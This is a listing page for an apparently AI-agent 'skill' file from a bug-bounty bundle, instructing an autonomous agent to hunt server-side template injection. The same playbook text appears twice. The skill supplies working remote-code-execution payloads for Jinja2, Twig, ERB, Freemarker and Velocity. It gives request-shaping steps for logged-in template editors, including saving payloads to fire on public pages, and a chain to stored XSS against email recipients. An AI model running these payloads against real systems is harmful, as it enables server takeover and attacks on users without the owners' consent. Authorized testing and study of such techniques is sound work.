/hunt-ssti
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is
$ npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-ssti --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/hunt-ssti
Context preview
The summary Claude sees to decide when to auto-load this skill.
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is
SKILL.md
hunt-ssti.SKILL.mdname: hunt-ssti
description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render."
Autonomous Testing Priority
**Escalate straight to RCE — don't stop at arithmetic detection.**
Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.
**Order of attack:** 1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:
Content-Type: application/x-www-form-urlencoded
field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing). 3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}` 4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.
**Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.
---
14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
Detection Payloads (try all)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.RCE Payloads
**Jinja2 (Python/Flask):**
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}**Twig (PHP/Symfony):**
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}**ERB (Ruby):**
<%= `id` %>
Where to Test
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
CMS / "documentation" template-editor forms (authenticated)
Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:
1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the whole matrix and read which one evaluates:
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
{{7*7}} → 49 ⇒ Jinja2 / Twig
<%= 7*7 %> → 49 ⇒ ERB (Ruby)
*{7*7} → 49 ⇒ Thymeleaf (Spring)If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.
2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to `POST /…/template?productId=N` with the id in the URL. The BODY carries only `csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns `400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.
3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh* `csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback loop). Switch to `template-action=save` only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.
**Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.
---
Related Skills & Chains
- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.
- **`hunt-ssrf`** — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before R
Read more
name: hunt-ssti description: "Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reveals expression mode. Targets: email templates, PDF/report generators, CMS preview features, error pages with user input. Use when hunting RCE via template rendering, when content shows engine fingerprints, when finding endpoints that compose strings with user input before render."
Autonomous Testing Priority
**Escalate straight to RCE — don't stop at arithmetic detection.**
Arithmetic probes (`{{7*7}}→49`) confirm the injection point but are not proof of impact. The real goal is OS command execution. Arithmetic detection also fails silently when the app echoes the input back (e.g. inside an HTML attribute like `<input value="{{7*7}}">`), producing a false negative even when injection exists.
**Order of attack:** 1. **Try Jinja2 RCE first** (covers Python/Flask — the most common stack in modern web apps):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}2. **If the endpoint is a traditional web form**, send as form-encoded body — NOT JSON:
Content-Type: application/x-www-form-urlencoded
field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}JSON bodies are silently ignored by form-processing endpoints (`request.form['field']` sees nothing). 3. **If Jinja2 fails**, try Twig (PHP/Symfony): `{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}` 4. **Fall back to arithmetic detection** only to fingerprint the engine when RCE payloads fail.
**Proof:** Command output (`uid=N(user) gid=...`) in the response confirms RCE. If the output appears in HTML (inside a `<div>` or `<pre>`), that still counts — the format is irrelevant, the content is the evidence.
---
14. SSTI — SERVER-SIDE TEMPLATE INJECTION
> Easy to detect, high payout ($2K–$8K). Direct path to RCE.
Detection Payloads (try all)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.RCE Payloads
**Jinja2 (Python/Flask):**
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}**Twig (PHP/Symfony):**
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}**ERB (Ruby):**
<%= `id` %>
Where to Test
Name/bio/description fields, email templates, invoice name, PDF generators, URL path parameters, search queries reflected in results, HTTP headers reflected
CMS / "documentation" template-editor forms (authenticated)
Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's *"SSTI using documentation"* class is this shape. Three things break a naive attempt:
1. **Fingerprint BEFORE firing RCE — the engine decides the syntax.** Do NOT assume Jinja2. Probe the whole matrix and read which one evaluates:
${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here
{{7*7}} → 49 ⇒ Jinja2 / Twig
<%= 7*7 %> → 49 ⇒ ERB (Ruby)
*{7*7} → 49 ⇒ Thymeleaf (Spring)If `{{7*7}}` renders literally but `${7*7}`→49, you are on **Freemarker** — stop sending `{{config...}}`.
2. **The record id is usually a QUERY param, not a body field.** The editor form posts back to `POST /…/template?productId=N` with the id in the URL. The BODY carries only `csrf`, `template`, and a `template-action` (`preview` | `save`). Putting the id in the body returns `400 "Missing product id"`. So keep the id in the query string (`?productId=N`) AND send a form-encoded body of `csrf=…&template=<PAYLOAD>&template-action=preview`.
3. **Re-fetch the CSRF each time and use `preview` to iterate.** GET the editor page to read a *fresh* `csrf` hidden field; `template-action=preview` renders your payload WITHOUT persisting (fast feedback loop). Switch to `template-action=save` only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.
**Freemarker documentation RCE** (the documented `Execute` utility — this IS the intended technique):
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }Velocity equivalent: `#set($e="e");$e.getClass().forName("java.lang.Runtime")...`.
---
Related Skills & Chains
- **`hunt-rce`** — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2 `{{config.__class__.__init__.__globals__['os'].popen('id').read()}}` or Freemarker `<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}` → unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec.
- **`hunt-xss`** — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same `{{7*7}}` reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject `<script>` into rendered email template → stored XSS hitting every recipient who views the message.
- **`hunt-ssrf`** — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before R
A self-contained Claude skill bundle for bug hunting and external red-team work · 82 skills · 15 slash commands · 681 disclosed-report patterns across 24 core vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder
Repo: elementalsouls/Claude-BugHunter
Other skills on claude-bughunter.
- /apk-redteam-pipeline
End-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection
Open skill - /bb-local-toolkit
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox,
Open skill - /bb-methodology
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection,
Open skill - /bug-bounty
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF,
Open skill - /bugcrowd-reporting
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates
Open skill - /cloud-iam-deep
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP
Open skill

